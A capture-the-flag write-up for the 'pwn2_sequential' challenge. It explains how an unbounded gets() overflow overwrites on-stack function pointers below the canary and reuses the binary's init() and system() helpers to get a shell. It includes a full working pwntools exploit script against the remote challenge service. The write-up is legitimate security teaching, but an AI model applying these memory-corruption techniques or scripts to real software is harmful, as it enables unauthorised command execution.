pwn2_sequential
pwn2_sequential
Platform: pwn_spbctf | Category: pwn | Type: Challenge | Difficulty: Medium | OS: NA | Author: XESXOR | Date: 2026-06-17 | Status: Solved Techniques: canary_bypass_via_call, function_pointer_overwrite, gets_overflow, in_binary_gadget_reuse, ret2func, strcmp_nul_vs_gets_newline
Summary
Task: NON-PIE x86-64 ELF with a menu that dispatches echo/help/greet through on-stack function pointers, reached by an unbounded gets() overflow; a canary is present but irrelevant. Solution: overwrite the function pointers (which sit BELOW the canary and are invoked via call before any ret) to chain unused init()=fgets(CMD) and sys()=system(CMD) gadgets into arbitrary command execution and a shell.
pwn2_sequential — pwn_spbctf
Description
A "C language functional caller!" — commands: echo / help / greet. "Are you able to craft something significant here?" Hint: "ASLR is disabled". Author: Ilya Shilov (@Shtrikh17).
Remote service: nc 109.233.56.90 11620 (platform pwn.spbctf.ru).
A 64-bit x86-64 ELF named sequential exposes a small command menu. The goal is
to turn a stack overflow into command execution and read the flag.
Analysis
Binary protections:
- NON-PIE (base
0x400000) — all code addresses are fixed. - NX enabled, Partial RELRO.
- Stack canary present — but, as shown below, it is never checked on the exploited path.
- Hint says ASLR is disabled (irrelevant here since NON-PIE already fixes code addresses, but it removes any stack-leak worries).
Key functions:
| Function | Addr | Role |
|---|---|---|
main | 0x4009de | entry |
handler | 0x400904 | the vulnerable menu loop |
echo | 0x400812 | normal command |
helper | 0x40087e | normal command |
greeter | 0x400891 | normal command |
sys | 0x4007c7 | system(CMD) where CMD is a .bss global @ 0x6010c0 — NOT called in normal flow |
init | 0x4007df | fgets(CMD, 0x80, stdin) — fills the CMD global from stdin — NOT called in normal flow |
| |
handler stack frame:
rbp-0x40 char buf[] <- gets(buf) (UNBOUNDED)
rbp-0x20 echo_ptr = &echo
rbp-0x18 helper_ptr = &helper
rbp-0x10 greeter_ptr= &greeter
rbp-0x08 canary
Loop body:
printf("[exec]: ");
gets(buf); // unbounded overflow
if (strcmp(buf,"echo")==0) call echo_ptr;
else if (strcmp(buf,"help")==0) call helper_ptr;
else if (strcmp(buf,"greet")==0) call greeter_ptr;
// loops
Why the canary does not matter
The overflow from buf (rbp-0x40) reaches the three function pointers at
offsets 0x20 / 0x28 / 0x30, which lie before the canary at offset 0x38.
Those pointers are invoked via call rdx inside the loop, before the function
epilogue — i.e. before any ret and therefore before the __stack_chk_fail
check runs. By hijacking control flow through a call, we completely sidestep
the canary; we never need to leak or preserve it.
The strcmp / gets interplay
gets()reads until a newline, so NUL bytes are allowed inside the line.strcmp()stops at the first NUL.
So a single input line can be b"echo\x00" + padding + overwritten_pointers:
strcmp sees just "echo" and matches, while gets happily writes the padding
and pointer overwrites that follow the NUL.
Solution
Chain the two unused in-binary gadgets:
- Line 1 (handler
gets): make the matched command callinit, and make a later command callsys.b'echo\x00'.ljust(0x20,'A') + p64(init) + p64(sys)echo_ptr(offset 0x20) ←init(0x4007df)helper_ptr(offset 0x28) ←sys(0x4007c7)strcmp(buf,"echo")==0→call echo_ptr→ runsinit().
- Line 2 (
init'sfgetsinto theCMDglobal): the shell command, e.g.cat /flag* /flag 2>/dev/null; id. - Line 3 (handler
getsagain):b'help'→strcmpmatches"help"→call helper_ptr(now =sys) →system(CMD)executes our command.
The overwritten pointers persist across loop iterations (the stack frame is not
reset), and the short help line on iteration 3 does not clobber them. NON-PIE +
disabled ASLR keeps init = 0x4007df and sys = 0x4007c7 fixed.
python read-only • copy allowed#!/usr/bin/env python3 from pwn import * context.arch = 'amd64' SYS = 0x4007c7 # system(CMD) INIT = 0x4007df # fgets(CMD, 0x80, stdin) io = remote('109.233.56.90', 11620) # io = process('./sequential') # Line 1: echo->init, help->sys (NUL after "echo" so strcmp matches "echo") io.sendline(b'echo\x00'.ljust(0x20, b'A') + p64(INIT) + p64(SYS)) # Line 2: init() fgets -> CMD global io.sendline(b'cat /flag* /flag 2>/dev/null; id') # Line 3: help -> sys -> system(CMD) io.sendline(b'help') io.interactive() # real shell as uid=ctf # print(io.recvall().decode())
Output prints the flag and id=uid=1000(ctf), confirming a real shell.